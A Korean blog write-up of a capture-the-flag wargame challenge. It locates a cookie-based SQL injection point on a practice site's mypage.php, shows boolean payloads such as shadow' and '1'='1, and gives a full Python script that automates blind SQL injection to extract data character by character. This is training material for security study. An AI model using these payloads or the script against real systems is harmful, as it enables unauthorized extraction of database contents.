ABOUT ME

낭만있이 살아가려고 노력하며 컴퓨터 공부를 하면서 알게된 것을 정리하는 블로그 입니다.

Today
Yesterday
Total
  • SQL Injection Advanced - SQL Injection Point 1
    wargame/segfault 2024. 6. 17. 10:49

     

    목표

    사이트 내에 SQL Injection이 가능한 곳이 있다. 그곳을 찾아내서 SQL injection으로 flag를 찾아내라

     


     

    웹사이트 분석 - 회원가입, 로그인

    /sqli_6/
    /sqli_6/

    /sqli_6/에 get으로 처음 접근하면 200 상태코드를 반환하며, PHPSESSID를 쿠키로 세팅하도록 한다. 그 다음부터 이 url에서 PHPSESSID를 쿠키로 요청에 담아 보낸다.

    로그인 버튼을 누르면 /sqli_6/login.php 페이지로 이동한다.


    /sqli_6/login.php
    /sqli_6/login.php의 form 태그

    form 구성 :  Log In버튼을 누르면 자기자신인 login.php로 post 요청을 보내며, id는 name, password는 pw에 담겨져 제출된다.

    Sign up 버튼을 누르면 자바스크립트로 페이지가 signup.html로 이동된다.

     

    아직 아이디가 없기 때문에 Sign up버튼을 눌러 회원가입부터 진행해본다. 


    /sqli_6/signup.html
    /sqli_6/signup.html의 form 태그

    form은 Sign Up버튼을 누르면 signup.php로 post요청을 보낸다. 이때 보내지는 데이터는 signupid와 signuppw이다.

     

    signupid: shadow, signuppw: 1234 로 데이터를 제출해 회원가입을 진행해보겠다.


    /sqli_6/signup.html
    /sqli_6/signup.php
    /sqli_6/signup.php

    response에 담긴 script로 인해 회원가입에 성공했다는 창이 뜨면서, 위치가 index.php로 이동하게 된다. 이제 로그인 버튼을 눌러 로그인을 진행해보겠다.


    /sqli_6/login.php
    /sqli_6/signup.php

    자기자신인 login.php에 post로 아이디와 비밀번호를 전송하고, 서버에서 인증에 성공했기에 response에 302코드가 반환되며 로그인 성공 정보를 담고 있는 PHPSESSID를 새로 업데이트한다. 그리고 사이트 내 다른 페이지에서 사용할 수 있고 xss를 방지하기 위해 path=/; HttpOnly로 설정하였다.

    또한 user에 내가 로그인 한 user=shadow도 담아서 보낸다. 쿠키에 아이디를 직접 담아서 보내기에 이 부분의 취약점을 추후에 잘 살펴봐야한다.

    마지막으로 location 헤더 때문에 index.php로 이동한다.


    로그인 후 /sqli_6/index.php
    로그인 후 /sqli_6/index.php

    로그인에 성공했다! 로그인 성공 시 Request의 Cookie에 user=shadow와 PHPSESSID를 담아서 보낸다. 그리고 Response에서 나의 아이디인 shadow가 출력되고 있다. 이 부분도 주의깊게 봐야한다. 그리고 마이페이지, 게시판, Logout 버튼을 누르면 각각 onclick 속성에 의해 특정 url로 이동하게 된다.


    쿠키 변조 시도

    /sqli_6/index.php에서 쿠키를 변조하였을때 Response에 담겨진 값이 변경되는지 확인한다. 만약 가입하지 않은 아무 아이디로 쿠키값을 변조했을 때 출력이 되지 않는다면 해당 페이지에서 쿠키값을 이용한 sql문이 처리되고 있음을 알 수 있다. 그렇지 않고 그냥 변조한 쿠키값 그대로 출력이 된다면 xss 취약점이 있을 수 있다. 아무 이상이 없이 그대로 내 아이디 shadow로 출력이 된다면 취약점이 존재하지 않는다.

     

    Repeater로 쿠키 변조

     

    Repeater로 get method /sqli_6/index.php를 보내서 쿠키의 user=shadowuser=nothing으로 변조해서 보냈더니. 그대로 shadow라고 출력되었다. 따라서 이곳에는 sqli point와 xss 취약점이 존재하지 않는다. (이 문제는 Sqli Point를 찾는 것이 목표이므로, 실무에서는 동시에 진행해야하나 더 이상 XSS 취약점을 따로 다루지 않도록 하겠다.)

     


    웹사이트 분석 - 마이페이지

    /sqli_6/mypage.php
    /sqli_6/mypage.php

     

    index.php에서 마이페이지버튼을 눌러 mypage.php로 이동했다. 쿠키에 user=shadow와 PHPSESSID가 담겨지고, Response에 shadow가 출력된다. 여기도 마찬가지로 쿠키변조로 인한 sqli 취약점이 존재할 수도 있다.

     

    쿠키 변조 시도

    Burp Suite의 Repeater를 통해 Cookie에 담긴 user값을 변경해서 보내본다. 

     

    /sql_6/mypage.php

     

    user=noting을 담아서 보내니 placeholder="noting"으로 담겨져서 오는 것을 볼 수 있다(XSS취약점 존재). 그리고 원래 Nothing Here...이라고 담겨져 있던 info태그의 placeholder가 비어있는 것을 볼 수 있다. 여기서 쿠키값을 인자로 사용한 sql 질의가 사용되었을 수도 있음을 추측할 수 있다.

    정리
    아이디를 정상적으로 찾았을 때: placeholder="Noting Here..."
    아이디를 정상적으로 찾지 못했을 때: placeholder=""

     

    // 예상 SQL문
    $sql = "SELECT * FROM member WHERE id ='___'";

     

    그리고 쿠키값이 저 사이에 들어갈 수 있기 때문에 SQL Injection이 가능한지 저 질의문이 맞다는 전제 하에 shadow' and '1'='1을 삽입한다.

    // 그러면 완성되는 SQL문은 다음과 같다.
    $sql = "SELECT * FROM member WHERE id ='shadow' and '1'='1'";

     

    아이디 찾기 성공

     

    결과는 Nothing Here... 이므로 정상적으로 아이디를 찾는 것에 성공했음을 알 수 있다. 거짓 조건을 넣어 로그인에 실패하는 것도 시도해본다.


    shadow' and '1'='2를 넣어 sql문이 항상 거짓이 되게 만든다.

    // 완성되는 SQL문은 다음과 같다. WHERE문이 항상 거짓이 되어 아무것도 찾을 수 없다
    $sql = "SELECT * FROM member WHERE id ='shadow' and '1'='2'";

    아이디 찾기 실패

    placeholder가 비어있다. 아이디를 찾는 것에 실패하게 만드는데 성공했음을 알 수 있다.

     

     

    따라서 mypage.php에서 쿠키변조를 통한 sqli point가 있는 것을 확인하였다.

     

    sql질의문 결과가 화면에 출력되지 않고, 에러가 출력되지 않으므로 데이터를 추출하기 위해서는 Blind SQL Injection으로 가능하다.

     

    Python으로 Blind SQLi 자동화

    import requests
    
    # change following 5 lines as you need
    usingId = 'shadow'
    usingPhpsessid = 'k942mhsjc4994eml5oba510lvu'
    url = "http://ctf.segfaulthub.com:7777/sqli_6/mypage.php"
    falseText = "placeholder=\"\"/>"
    preparedFormat = "{}' and (ascii(substr(({}),{},1)) > {}) and '1'='1"
    # {}: id, select statement, char index, ascii int value
    
    print("프로그램 시작")
    
    while True:
        print('종료하시려면 \'quit\' 를 입력해주세요')
    
        sql_statement = input("select문 입력 > ")
        if (sql_statement == 'quit'):
            break
    
        extracted_data = ''
        inputFormat = preparedFormat.format(usingId,sql_statement,1,0)
        headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)}
    
        response = requests.get(url, headers=headers)
    
        if falseText in response.text:
            print("데이터가 없습니다.")
            continue
    
        i = 1 # data index
        while True:
            bottom = 32
            top = 128
    
            inputFormat = preparedFormat.format(usingId,sql_statement,i,0)    
            headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)}
            response = requests.get(url, headers=headers)
    
            if falseText in response.text:
                break
    
            while True:
                j = int((top+bottom)/2)
                inputFormat = preparedFormat.format(usingId,sql_statement,i,j)    
                headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)}
                response = requests.get(url, headers=headers)
    
                if ((top-bottom)<=2):
                    for k in range(0,3):
                        inputFormat = preparedFormat.format(usingId,sql_statement,i,j+k)    
                        headers = {"Cookie": "user={}; PHPSESSID={}".format(inputFormat,usingPhpsessid)}
                        response = requests.get(url, headers=headers)
                        if falseText in response.text:
                            extracted_data += chr(j+k)
                            i += 1
                            break
                    break
                
                if falseText in response.text: # 32 ~ 80
                    top = j
                else:
                    bottom = j
        
        print(extracted_data)

     

     

    Blind SQL Injection으로 flag를 찾아냈다!

    'wargame > segfault' 카테고리의 다른 글

    SQL Injection Advanced - SQL Injection Point 2  (0) 2024.06.17
    SQL Injection - 6  (0) 2024.06.17
    SQL Injection - 5  (0) 2024.06.17
    SQL Injection - 4  (0) 2024.06.17
    SQL Injection - 3  (0) 2024.06.17
Designed by Tistory.